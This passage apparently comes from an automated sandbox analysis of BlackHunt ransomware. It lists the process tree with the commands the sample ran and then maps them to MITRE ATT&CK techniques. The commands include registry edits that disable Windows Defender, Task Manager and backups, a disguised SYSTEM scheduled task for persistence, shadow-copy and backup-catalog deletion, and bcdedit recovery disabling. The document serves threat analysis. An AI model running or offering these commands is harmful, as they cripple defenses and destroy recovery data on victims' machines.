    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:5116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:5024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:5008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe" /F
  2⤵
  PID:1448
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f0d0781bfccd20c1caa2dbaf03edc6262983a16f94239b079eb83fa22755bb6e.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1368
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:5044
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3376
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1768
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:620
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1008
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3500
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3608
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3560
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4904
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2552

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1604

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3320

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4296

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery